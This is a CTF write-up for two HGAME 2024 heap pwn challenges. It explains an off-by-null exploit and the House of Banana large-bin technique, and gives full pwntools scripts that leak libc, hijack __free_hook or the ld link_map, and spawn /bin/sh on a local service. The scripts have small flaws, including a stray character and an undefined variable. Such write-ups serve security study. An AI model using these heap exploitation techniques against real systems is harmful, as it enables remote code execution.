HGAME 2024 Week3
links:
PWN. Overflow
An off-by-null challenge.
References
Synopsis
- No edit function similar to the
Fast Note
challenge;
- And there is no UAF:
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
- Notes amount is limited, it won't allocate more notes without an empty slot.
- There is an off-by-null vulnerability that after the read content a
\0
is added to the tail:

PIC
enabled so no static address is available for directly writing.
- The size of note is limited to 0xff.
Exp & Explainations
Please refer to the comment in the exploitation script.
from functools import wraps
from pwn import *
context.arch = "amd64"
def getr():
r = remote("127.0.0.1", 9000)
hello = r.recvuntil(b"Your choice:")
print(hello.decode())
r.unrecv(hello)
return r
r = getr()
def wait(f):
@wraps(f)
def w(*args, **kwargs):
r.recvuntil(b"Your choice:")
r.clean()
return f(*args, **kwargs)
return w
@wait
def add(x, size, content):
r.sendline(b"1")
r.sendlineafter(b"Index", b"%d" % x)
r.sendlineafter(b"Size", b"%d" % size)
r.send(content)
@wait
def show(x):
r.sendline(b"2")
r.sendlineafter(b"Index: ", b"%d" % x)
d = r.recvuntil(b"Your choice:")
r.unrecv(d)
d = d[: d.find(b"\n1.Add")]
return d
@wait
def rm(x):
r.sendline(b"3")
r.sendline(b"%d" % x)
def drain_tc(size):
for i in range(7):
add(i, size, b"TC".ljust(size, str(i).encode()))
def fill_tc():
for i in range(7):
rm(i)
drain_tc(0xFF)
add(10, 0x10, b"0" * 0x10)
fake_11 = None
fake_11_next = p64(0x100) + p64(0x10)
add(11, 0xFF, fake_11_next.rjust(0x100, b"1")[:0xFF])
add(12, 0x80, b"2" * 0x80)
add(15, 5, b"LATCH")
fill_tc()
rm(11)
rm(10)
add(10, 0x18, b"0" * 0x18)
add(11, 0x80, b"1" * 0x80)
add(13, 0x30, b"3" * 0x30)
drain_tc(0x80)
fill_tc()
rm(11)
rm(12)
drain_tc(0x80)
add(11, 0x80, b"PADDING")
add(12, 0x80, b"2" * 0x80)
fill_tc()
rm(12)
arena_ref = u64(show(13).ljust(8, b"\0"))
libc_base = arena_ref - 0x3EBCA0
free_hook = libc_base + 0x3ED8E8
system = libc_base + 0x4F420
success(
f"libc_base: {hex(libc_base)}, free_hook: {hex(free_hook)}, system: {hex(system)}"
)
rm(11)
add(8, 0x40, b"PADDING")
add(9, 0x30, b"PADDING")
add(12, 0x30, b"OVERLAP")
add(11, 0xC0, b"DRAIN")
drain_tc(0x30)
fill_tc()
rm(12)
rm(9)
rm(13)
rm(11)
info("there should be a circular linked list on fastbin[0x40]")
pause()
drain_tc(0x30)
add(11, 0x30, p64(free_hook))
add(12, 0x30, b"ANY")
add(13, 0x30, p64(free_hook))
add(9, 0x30, p64(system))
info("About to trigger free_hook / system()")
pause()
add(14, 0x80, b"/bin/sh\0")
rm(14)
r.interactive()
PWN. RingIII
There is a living demo of this challenge hosted on Google Colab. If you want to interactively discover the exploitation, please refer to it.
Quick View
Comparing to the previous challenge, there are some significant changes.
- Note size is limited to match
large bins
. Without fast bins
and tcaches
it won't be possible to cheat malloc() into returning arbitrary address.
Full Relo
is enabled, which means it won't be possible to directly tamper the notes[]
array to aquire arbitrary RW.
But we still have a powerful UAF that allows us to directly control the heap chunks.

Since the only exploit entrance has been bound to large bins
, let's get familiar with the large bin attack at first.
The large bin attack writes a single chunk address to a specified place. What next comes to mind immediatly may be, definitely we should replace some essential hooks or pointers, but what's it exactly?
House of Banana
Let me introduce the ultimate House of Banana technique.
Check these articles for the technique details.
We can use the large bin atttack to replace the l_next
pointer inside the link_map
of _rtld_global
to insert a fake DSO
.
When an ELF program is exiting, the ld
checks every loaded DSO
if it need to do cleanup jobs by calling its finish handlers.
And by registering a fake DSO
with our custom finish handler, we will be able to take control when the exit routine is trying to call our handler.
This works because the link_map is just a singly linked list, which is fragile and hard to be guaranteed the legality. And the nodes are emplaced at the very early stages, which restricts them to be static, thus their relative offsets are fixed.
Exp & Explainations
from functools import wraps
from pwn import *
context.arch = "amd64"
context.log_level = "info"
def getr():
r = remote("127.0.0.1", 9000)
hello = r.recvuntil(b">")
print(hello.decode())
r.unrecv(hello)
return r
r = getr()
libc = ELF("./libc.so.6")
def wait(f):
@wraps(f)
def w(*args, **kwargs):
r.recvuntil(b">")
r.clean()
return f(*args, **kwargs)
return w
@wait
def rm(x):
r.sendline(b"2")
r.sendlineafter(b"Index", b"%d" % x)
@wait
def edit(x, content):
r.sendline(b"3")
r.sendlineafter(b"Index", b"%d" % x)
r.sendafter(b"Content", content)
@wait
def show(x):
r.sendline(b"4")
r.sendlineafter(b"Index: ", b"%d" % x)
d = r.recvuntil(b">")
r.unrecv(d)
d = d[: d.find(b"\n1. Add")]
return d
@wait
def add(x, size, content=None):
r.sendline(b"1")
r.sendlineafter(b"Index", b"%d" % x)
r.sendlineafter(b"Size", b"%d" % size)
if content:
edit(x, content)
def shift(x, amount):
"""
0 ~ 0x300 => +0x600 ~ +0x900
"""
assert amount + 0x5F0 <= 0x900
assert x != 0
add(0, 0x5F0 + amount)
add(x, 0x900)
rm(x)
rm(0)
def shift2(x, amount):
"""
0 ~ 0x700 => +0xb00 ~ +0x1200
"""
assert x not in (0, 14, 15)
assert x <= 0x700
if amount <= (0x900 - 0x600):
add(14, 0x5E0 + amount)
add(15, 0x500)
add(x, 0x900)
rm(x)
rm(15)
rm(14)
else:
amount -= 0x900 - 0x600
add(14, 0x8E0)
add(15, 0x500 + amount)
add(x, 0x900)
rm(x)
rm(15)
rm(14)
def readx(x, size):
data = b""
hd = 0
while hd < size:
d = show(x)
if len(d[hd:]) == 0:
d = d[: hd + 1] + b"\0"
edit(x, b"x" * len(d))
data += d[hd:]
hd = len(data)
edit(x, data)
return data[:size]
"""
LAYOUT:
#0 #1 #2 #15
┌─────────┬────────┬──────┬─────────────────────────┬──────┬────────┐
│ shifter │ victim │ gap │ smaller container chunk │ gap │ kicker │
│ 0x700 │ 0x610 │ 0x10 │ 0x600 │ 0x10 │ 0x900 │
└─────────┴────────┴──────┴─────────────────────────┴──────┴────────┘
▲ ▲
#11─┘ #12─┘
"""
shift(11, 0x100 - 0x10)
shift2(12, 0x220 - 0x10)
shift2(13, 0x210 - 0x10)
add(0, 0x6F0)
add(1, 0x610)
add(2, 0x5E0)
add(14, 0x900)
rm(14)
rm(2)
rm(1)
rm(0)
add(0, 0x6F0)
add(1, 0x610)
add(2, 0x600)
add(15, 0x8F0, b"KICKER")
edit(11, p64(0) + p64(0x611))
edit(13, p64(0) + p64(0x11))Ï
edit(12, p64(0) + p64(0x601))
edit(14, p64(0) + p64(0x11))
rm(15)
rm(1)
add(15, 0x8F0, b"KICK!")
fd_1, bk_1, fd_nextsize_1, bk_nextsize_1 = unpack_many(readx(1, 0x20), 64)
chk_0 = fd_nextsize_1 - 0x6F0
main_area = fd_1 - 0x4D0
libc_base = main_area - 0x1E3BA0
heap_base = fd_nextsize_1 - 0x990
success(f"libc_base: {libc_base:#x}; arena: {main_area:#x}")
success(f"heap_base: {heap_base:#x}")
pause()
rtld_global = libc_base + 0x21B040
"""
gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next
$6 = (struct link_map *) 0x7fd51e23c790
gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next->l_next
$7 = (struct link_map *) 0x7fd51e20a000
gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next->l_next->l_next
$8 = (struct link_map *) 0x7fd51e23ba48 <_rtld_global+2568>
gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next->l_next->l_next->l_next
$9 = (struct link_map *) 0x0
"""
A_dl_ns_libc = libc_base + 0x1EA000
A_dl_ns_libc_next = A_dl_ns_libc + 0x18
bk_nextsize_1 = A_dl_ns_libc_next - 0x20
"""
gef➤ ptype /ox *(_rtld_global._dl_ns[0]._ns_loaded->l_next->l_next)
/* offset | size */ type = struct link_map {
/* 0x0000 | 0x0008 */ Elf64_Addr l_addr;
/* 0x0008 | 0x0008 */ char *l_name;
/* 0x0010 | 0x0008 */ Elf64_Dyn *l_ld;
/* 0x0018 | 0x0008 */ struct link_map *l_next;
/* 0x0020 | 0x0008 */ struct link_map *l_prev;
/* 0x0028 | 0x0008 */ struct link_map *l_real;
/* 0x0030 | 0x0008 */ Lmid_t l_ns;
/* 0x0038 | 0x0008 */ struct libname_list *l_libname;
/* 0x0040 | 0x0268 */ Elf64_Dyn *l_info[77];
...
/* 0x0318 | 0x0004 */ unsigned int l_direct_opencount;
/* 0x031c: 0x0 | 0x0004 */ enum {lt_executable, lt_library, lt_loaded} l_type : 2;
/* 0x031c: 0x2 | 0x0004 */ unsigned int l_relocated : 1;
/* 0x031c: 0x3 | 0x0004 */ unsigned int l_init_called : 1;
/* 0x031c: 0x4 | 0x0004 */ unsigned int l_global : 1;
/* 0x031c: 0x5 | 0x0004 */ unsigned int l_reserved : 2;
/* 0x031c: 0x7 | 0x0004 */ unsigned int l_phdr_allocated : 1;
/* 0x031d: 0x0 | 0x0004 */ unsigned int l_soname_added : 1;
/* 0x031d: 0x1 | 0x0004 */ unsigned int l_faked : 1;
/* 0x031d: 0x2 | 0x0004 */ unsigned int l_need_tls_init : 1;
/* 0x031d: 0x3 | 0x0004 */ unsigned int l_auditing : 1;
/* 0x031d: 0x4 | 0x0004 */ unsigned int l_audit_any_plt : 1;
/* 0x031d: 0x5 | 0x0004 */ unsigned int l_removed : 1;
/* 0x031d: 0x6 | 0x0004 */ unsigned int l_contiguous : 1;
/* 0x031d: 0x7 | 0x0004 */ unsigned int l_symbolic_in_local_scope : 1;
/* total size (bytes): 1152 */
/* the program elf
l_direct_opencount = 0x1,
l_type = lt_executable,
l_relocated = 0x1,
l_init_called = 0x1,
l_global = 0x1,
l_reserved = 0x0,
l_phdr_allocated = 0x0,
l_soname_added = 0x0,
l_faked = 0x0,
l_need_tls_init = 0x0,
l_auditing = 0x0,
l_audit_any_plt = 0x0,
l_removed = 0x0,
l_contiguous = 0x0,
l_symbolic_in_local_scope = 0x0,
l_free_initfini = 0x0,
*/
<elf.h> https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/elf.h#L879
#define DT_FINI 13 /* Address of termination function */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
*/
"""
A_fake_link_map = fd_nextsize_1 + 0x620
fake_link_map = (
p64(0)
+ p64(fd_nextsize_1 + 0xC40)
+ p64(0)
+ p64(0)
+ p64(A_dl_ns_ld)
+ p64(A_fake_link_map)
)
fake_link_map = fake_link_map.ljust(0x31C, b"\0")
fake_link_map += p8(0b00011110)
fake_link_map = fake_link_map.ljust(1152, b"\0")
d_info_fini_array = p64(26) + p64(chk_0)
d_info_fini_arraysz = p64(28) + p64(8)
fake_link_map = (
fake_link_map[: 0x40 + 8 * 26]
+ p64(A_fake_link_map + 1152)
+ p64(0)
+ p64(A_fake_link_map + 1152 + len(d_info_fini_array))
+ fake_link_map[0x40 + 8 * 29 :]
)
assert len(fake_link_map) == 1152
fake_link_map += d_info_fini_array
fake_link_map += d_info_fini_arraysz
rm(15)
edit(1, p64(fd_1) + p64(bk_1) + p64(fd_nextsize_1) + p64(bk_nextsize_1))
rm(2)
add(15, 0x8F0, b"KICK!")
edit(12, fake_link_map)
edit(0, p64(libc_base + 0xDF54C) * 4)
"""
0xdf54c execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
"""
r.sendlineafter(b">", b"5")
r.interactive()